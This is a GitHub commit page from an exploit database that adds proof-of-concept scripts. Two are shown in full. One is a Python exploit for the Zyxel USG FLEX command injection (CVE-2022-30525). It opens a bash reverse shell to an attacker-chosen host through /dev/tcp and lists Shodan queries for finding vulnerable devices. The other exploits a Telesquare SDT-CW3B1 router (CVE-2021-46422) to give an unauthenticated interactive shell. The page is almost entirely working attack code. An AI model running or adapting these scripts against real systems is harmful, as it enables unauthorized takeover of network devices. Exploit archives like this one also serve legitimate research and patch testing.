Skip to content

Commit 3daddca

Browse files
author
Offensive Security
committed
DB: 2022-06-04
7 changes to exploits/shellcodes Zyxel USG FLEX 5.21 - OS Command Injection Telesquare SDT-CW3B1 1.1.0 - OS Command Injection Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 - Remote Code Execution (RCE) SolarView Compact 6.00 - Directory Traversal Contao 4.13.2 - Cross-Site Scripting (XSS) Microweber CMS 1.2.15 - Account Takeover
1 parent 79ae412 commit 3daddca

File tree

8 files changed

+533
-2
lines changed

8 files changed

+533
-2
lines changed

‎exploits/hardware/remote/50946.txt

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
# Exploit Title: Zyxel USG FLEX 5.21 - OS Command Injection
2+
# Shodan Dork: title:"USG FLEX 100" title:"USG FLEX 100W" title:"USG FLEX 200" title:"USG FLEX 500" title:"USG FLEX 700" title:"USG20-VPN" title:"USG20W-VPN" title:"ATP 100" title:"ATP 200" title:"ATP 500" title:"ATP 700" title:"ATP 800"
3+
# Date: May 18th 2022
4+
# Exploit Author: Valentin Lobstein
5+
# Vendor Homepage: https://www.zyxel.com
6+
# Version: ZLD5.00 thru ZLD5.21
7+
# Tested on: Linux
8+
# CVE: CVE-2022-30525
9+
10+
11+
from requests.packages.urllib3.exceptions import InsecureRequestWarning
12+
import sys
13+
import json
14+
import base64
15+
import requests
16+
import argparse
17+
18+
19+
parser = argparse.ArgumentParser(
20+
prog="CVE-2022-30525.py",
21+
description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
22+
)
23+
parser.add_argument("-u", dest="url", help="Specify target URL")
24+
parser.add_argument("-r", dest="host", help="Specify Remote host")
25+
parser.add_argument("-p", dest="port", help="Specify Remote port")
26+
27+
args = parser.parse_args()
28+
29+
banner = (
30+
"ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7"
31+
"LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg"
32+
"ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg"
33+
"LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8"
34+
"ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg"
35+
"KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n"
36+
"ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp"
37+
"biA6KSApCg=="
38+
)
39+
40+
41+
def main():
42+
43+
print("\n" + base64.b64decode(banner).decode("utf-8"))
44+
45+
if None in vars(args).values():
46+
print(f"[!] Please enter all parameters !")
47+
parser.print_help()
48+
sys.exit()
49+
50+
if "http" not in args.url:
51+
args.url = "https://" + args.url
52+
args.url += "/ztp/cgi-bin/handler"
53+
exploit(args.url, args.host, args.port)
54+
55+
56+
def exploit(url, host, port):
57+
headers = {
58+
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
59+
"Content-Type": "application/json",
60+
}
61+
62+
data = {
63+
"command": "setWanPortSt",
64+
"proto": "dhcp",
65+
"port": "4",
66+
"vlan_tagged": "1",
67+
"vlanid": "5",
68+
"mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
69+
"data": "hi",
70+
}
71+
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
72+
print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")
73+
74+
try:
75+
response = requests.post(
76+
url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
77+
)
78+
except (KeyboardInterrupt, requests.exceptions.Timeout):
79+
print("[!] Bye Bye hekcer !")
80+
sys.exit(1)
81+
finally:
82+
83+
try:
84+
print("[!] Can't exploit the target ! Code :", response.status_code)
85+
86+
except:
87+
print("[!] Enjoy your shell !!!")
88+
89+
90+
if __name__ == "__main__":
91+
main()

‎exploits/hardware/remote/50948.py

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
#!/usr/bin/python3
2+
3+
# Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
4+
# Date: 24th May 2022
5+
# Exploit Author: Bryan Leong <NobodyAtall>
6+
# Vendor Homepage: http://telesquare.co.kr/
7+
# CVE : CVE-2021-46422
8+
# Authentication Required: No
9+
10+
import requests
11+
import argparse
12+
import sys
13+
from xml.etree import ElementTree
14+
15+
def sysArgument():
16+
ap = argparse.ArgumentParser()
17+
ap.add_argument("--host", required=True, help="target hostname/IP")
18+
args = vars(ap.parse_args())
19+
return args['host']
20+
21+
def checkHost(host):
22+
url = "http://" + host
23+
24+
print("[*] Checking host is it alive?")
25+
26+
try:
27+
rsl = requests.get(url)
28+
print("[*] The host is alive.")
29+
except requests.exceptions.Timeout as err:
30+
raise SystemExit(err)
31+
32+
def exploit(host):
33+
url = "http://" + host + "/cgi-bin/admin.cgi?Command=sysCommand&Cmd="
34+
35+
#checking does the CGI exists?
36+
rsl = requests.get(url)
37+
38+
if(rsl.status_code == 200):
39+
print("[*] CGI script exist!")
40+
print("[*] Injecting some shell command.")
41+
42+
#1st test injecting id command
43+
cmd = "id"
44+
45+
try:
46+
rsl = requests.get(url + cmd, stream=True)
47+
xmlparser = ElementTree.iterparse(rsl.raw)
48+
49+
cmdRet = []
50+
51+
for event, elem in xmlparser:
52+
if(elem.tag == 'CmdResult'):
53+
cmdRet.append(elem.text)
54+
except:
55+
print("[!] No XML returned from CGI script. Possible not vulnerable to the exploit")
56+
sys.exit(0)
57+
58+
if(len(cmdRet) != 0):
59+
print("[*] There's response from the CGI script!")
60+
print('[*] System ID: ' + cmdRet[0].strip())
61+
62+
print("[*] Spawning shell. type .exit to exit the shell", end="\n\n")
63+
#start shell iteration
64+
while(True):
65+
cmdInput = input("[SDT-CW3B1 Shell]# ")
66+
67+
if(cmdInput == ".exit"):
68+
print("[*] Exiting shell.")
69+
sys.exit(0)
70+
71+
rsl = requests.get(url + cmdInput, stream=True)
72+
xmlparser = ElementTree.iterparse(rsl.raw)
73+
74+
75+
for event, elem in xmlparser:
76+
if(elem.tag == 'CmdResult'):
77+
print(elem.text.strip())
78+
79+
print('\n')
80+
81+
else:
82+
print("[!] Something doesn't looks right. Please check the request packet using burpsuite/wireshark/etc.")
83+
sys.exit(0)
84+
85+
else:
86+
print("[!] CGI script not found.")
87+
print(rsl.status_code)
88+
sys.exit(0)
89+
90+
def main():
91+
host = sysArgument()
92+
93+
checkHost(host)
94+
exploit(host)
95+
96+
if __name__ == "__main__":
97+
main()

0 commit comments

Comments
 (0)